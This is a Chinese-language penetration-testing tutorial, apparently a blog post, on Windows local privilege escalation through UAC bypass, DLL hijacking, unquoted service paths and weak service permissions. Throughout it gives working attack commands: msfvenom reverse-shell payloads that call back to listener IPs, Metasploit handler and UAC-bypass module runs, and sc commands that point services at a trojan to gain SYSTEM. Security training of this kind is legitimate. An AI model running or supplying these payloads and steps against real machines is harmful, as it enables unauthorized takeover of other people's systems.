Windows本地提权 · 下篇

Windows本地提权,这种提权适用于有一本地个用户的基础上,有一定的权限,无法从webshell上进行提权

目录

BypassUAC提权

原理

关于UAC

MFS绕过提权

UAC等级为低绕过测试

UAC等级为中绕过测试

UAC等级为高绕过测试

注意:bypassuac注意需要用户在管理员组,并且uac是开启状态,uac如果是关闭状态是可以直接getsystem进行提权的

工具UAC绕过

DLL劫持提权

关于DLL

原理

DLL劫持

引号路径提权

原理

实战测试

服务权限提权

原理

实战测试


BypassUAC提权

绕过UAC进行提权

原理

UAC绕过原理:攻击者通过不同的技术手段绕过UAC,以实现在系统上以管理员权限执行恶意代码的目的。以下是几种常见的UAC绕过技术:

  • 异常捕获绕过:攻击者通过在恶意代码中使用异常处理机制,利用操作系统的异常捕获过程,绕过UAC的提权提示。
  • 自动提权:攻击者通过利用一些可信进程(如"cmstp.exe"、"eventvwr.exe"等)的自动提权功能,将恶意代码伪装为这些进程的子进程,从而以管理员权限运行。
  • 系统漏洞利用:攻击者利用操作系统中的漏洞,例如文件/注册表权限绕过、DLL劫持等,通过执行恶意代码来提升权限。
  • 提权工具:攻击者使用专门的工具,如Metasploit等,利用已知的UAC绕过技术来提升权限。

关于UAC

UAC(用户账户控制)是Windows操作系统中的一项安全功能。它的目的是通过降低恶意软件的权限,保护计算机免受未经授权的更改和恶意软件的攻击。

当启用了UAC时,当需要进行需要管理员权限的操作时,系统会提示用户进行确认。这样,即使用户具有管理员权限,也需要确认其意图,以防止不经意间或未经授权的更改。

UAC的工作原理如下:

  1. 当需要管理员权限执行某个操作时,系统会弹出UAC提示框,询问用户是否同意。
  2. 用户根据需要选择“是”或“否”。
  3. 如果用户选择“是”,操作将以管理员权限继续执行;如果用户选择“否”,操作将被中止。
  4. 如果当前用户不是管理员账户,系统会要求用户提供管理员凭据(用户名和密码)以确认身份。
  5. 如果操作需要管理员权限,但用户无法提供管理员凭据,则操作将无法执行。

通过UAC,Windows操作系统能够在保护计算机安全的同时,避免普通用户滥用管理员权限,减少潜在的风险和威胁。

windows打开方式:

win + r 输入 msconfig

UAC设置有三个等级:低,中,高,默认为中

 在是完全开启动UAC的状态

在开到最高等级时,安装exe需要用户亲手点击确认,否则无法安装

而我们在启动木马的时候都是在命令行模式下,我们是无法打开这个窗口的。这就需要配合钓鱼,但是也有可以绕过方法。

MFS绕过提权

测试环境:win7

首先MSF木马上线

生成木马:

msfvenom -p windows/meterpreter/reverse_tcp lport=4444 lhost=192.168.85.129 -f exe -o 11.exe

开启监听:

use multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 0.0.0.0
run

msf成功上线,可以使用msf的自动化提权

UAC等级为低绕过测试

首先木马上线后,测试利用getsystem进行提权

提权成功!!!

UAC等级为中绕过测试

直接getsystem测试,不出意料失败了

使用这个模块进行UAC绕过测试   use exploit/windows/local/bypassuac

use exploit/windows/local/bypassuac
set session 2
run

 设置session

提权成功!!!

UAC等级为高绕过测试

测试环境:win10

exploit/windows/local/bypassuac不好用了,提权不了

换用ask模块进行测试:

但是需要对方配合点击确定

这才能顺利提权。

换用这个模块进行测试 use exploit/windows/local/bypassuac_sluihijack 不需要对方配合

use exploit/windows/local/bypassuac_sluihijack
set session 4
run

顺利提权!!!

msf共有十几个uac模块,灵活应用

注意:bypassuac注意需要用户在管理员组,并且uac是开启状态,uac如果是关闭状态是可以直接getsystem进行提权的

工具UAC绕过

项目地址:GitHub - hfiref0x/UACME: Defeating Windows User Account Control

环境:win7

一般用 41 23  61 会弹出一个system权限的 cmd

这个下载后需要进行编译生成才能使用,会生成根据32,64位系统利用的可执行文件

这条命令表示以高权限启动木马

使用MSF进行监听:

返回system权限

DLL劫持提权

windows程序启动的时候需要DLL,可以通过把后门写成dll文件覆盖原有的dll文件,等待管理员点击进行提权。

关于DLL

动态链接库(Dynamic Link Library,简称DLL)是一种在Windows操作系统中广泛使用的可执行文件格式。DLL文件包含可供程序调用的函数、数据和资源,可以被多个程序共享和重用,提供了模块化和可扩展性的优势。

windows系统DLL文件搜索顺序:

  1. 应用程序加载的目录
  2. C:\Windows\System32
  3. C:\Windows\System
  4. C:\Windows
  5. 当前工作目录Current Working Directory,CWD
  6. 在PATH环境变量的目录(先系统后用户)

一般dll劫持的是在应用程序的加载目录,其他地方可能没有权限

除了第一条,剩下的基本不用想,因为需要高权限

可以使用火绒剑来分析应用程序加载的DLL文件

这样的dll文件就可以尝试劫持

原理

攻击者通过利用程序加载动态链接库(DLL)的过程中的漏洞,以提升自己的权限。DLL劫持提权通常发生在程序加载DLL时,攻击者将恶意的DLL文件替换掉目标程序所要加载的合法DLL文件,使其在加载过程中执行恶意代码。

攻击者利用DLL劫持提权的原理如下:

  1. 目标程序加载DLL:当一个程序运行时,它可能需要加载一个或多个外部的DLL文件来执行特定的功能。程序加载DLL的过程包括根据指定的文件名查找DLL、将DLL文件加载到内存并执行其中的代码。

  2. DLL搜索顺序:在加载DLL时,操作系统会按照一定的搜索顺序来查找DLL文件。这个搜索顺序通常包括在指定路径中查找、在系统目录和Windows目录中查找、在应用程序所在目录中查找等。

  3. 恶意DLL替换:攻击者可以将恶意的DLL文件命名为目标程序所要加载的合法DLL文件,并将其放置在指定的搜索路径中,使目标程序在加载DLL时误将恶意DLL加载到内存中。

  4. 执行恶意代码:一旦目标程序加载了恶意DLL,攻击者就可以通过DLL中的恶意代码来执行各种恶意操作,包括获取高权限的访问权限、窃取敏感信息、修改系统配置等。

DLL劫持提权的成功攻击需要满足以下条件:

  • 目标程序存在DLL加载的漏洞,即它在加载DLL时没有明确指定DLL的路径,或者存在可被攻击者利用的搜索路径。

  • 攻击者能够将恶意DLL文件放置在目标程序所使用的搜索路径中,且命名与目标DLL文件相同。

DLL劫持

测试环境:win2016 flashfxp(ftp)

使用火绒剑分析:

使用MSF生成DLL后门


 msfvenom -p windows/meterpreter/reverse_tcp lhost=47.94.236.117 lport=4444 -f dll -o xiaodi.dll

替换原有的DLL文件

监听接收连接

上线,得到管理员权限

这个FXP是使用管理员的账户运行的,因为继承的关系,我们的到的也是管理员的权限

之后再进行提权

 这款工具可以检测dll文件是否可以被劫持,需要放到对方主机上运行

引号路径提权

利用配置错误,启动服务以system权限运行木马

原理

当服务是没有引号又有空格是就会造成提权,系统会把空格前的当作exe程序,把后面的当作参数,可以生成一个和前面名字一样的后门exe,当服务启动时,会成功上线,如果是系统服务,那获得的就是system权限;当有引号担忧空格时,就会当作一个整体,没有安全问题

带引号:

“C:\Program Files (x86)\Acunetix\wvs_supervisor.exe"

不带引号:

C:\Program Files (x86)\Acunetix\wvs_supervisor.exe

不带引号 有空格的命令会被认为是命令的参数

带引号就是一个整体

之后通过修改服务对应的路径,启动服务完成提权。

注意:windows系统服务启动是以system权限启动的

实战测试

测试环境:win2016

首先,先检测系统上是否存在服务路径的问题

检测方式:

命令检测

wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """
排除c盘的windows主要是因为没有权限

使用检测工具:

  GitHub - 411Hall/JAWS: JAWS - Just Another Windows (Enum) Script

这个也不错

msf生成和服务空格前一样的exe后门程序,放到对应启动的位置,放到C盘

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.85.129 lport=4444 -f exe -o Program.exe

开启监听:

 找到带有空格的服务路径的对应服务进行查看

在启动服务的时候

当这个服务启动的时候,该路径未被空格包裹,会在C盘下找到我们的木马 program.exe 作为命令,后面的视为参数去执行。这样我们的木马就作为system进行上线

然后启动这个服务就可以运行木马,成功上线

服务权限提权

原理

即使正确引用了服务路径,也可能存在其它漏洞。由于管理配置错误,用户可能对服务拥有过多权限。例如:可以直接修改它导致重定向执行文件。本质就是修改服务对应路径,用服务system启动我们的木马

实战测试

使用微软提供的工具:AccessChk - Sysinternals | Microsoft Learn

检测服务权限:

 关注 service all access

MSF生成后门并开启监听:

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.85.129 lport=4444 -f exe -o Program.exe

找可以改的service_all_access

创建一个服务或者找到一个可修改的

sc create test start= auto binPath="C:\1.exe"

更改服务程序路径,并启动服务

sc config "test" binpath="C:\Program.exe"
sc start test

system权限启动服务,木马的权限也是system,上线:

大部分服务是不能修改的,修改需要高权限

这是属于配置问题,配置某些低权用户也可以修改服务

猜你喜欢

转载自blog.csdn.net/qq_61553520/article/details/130970749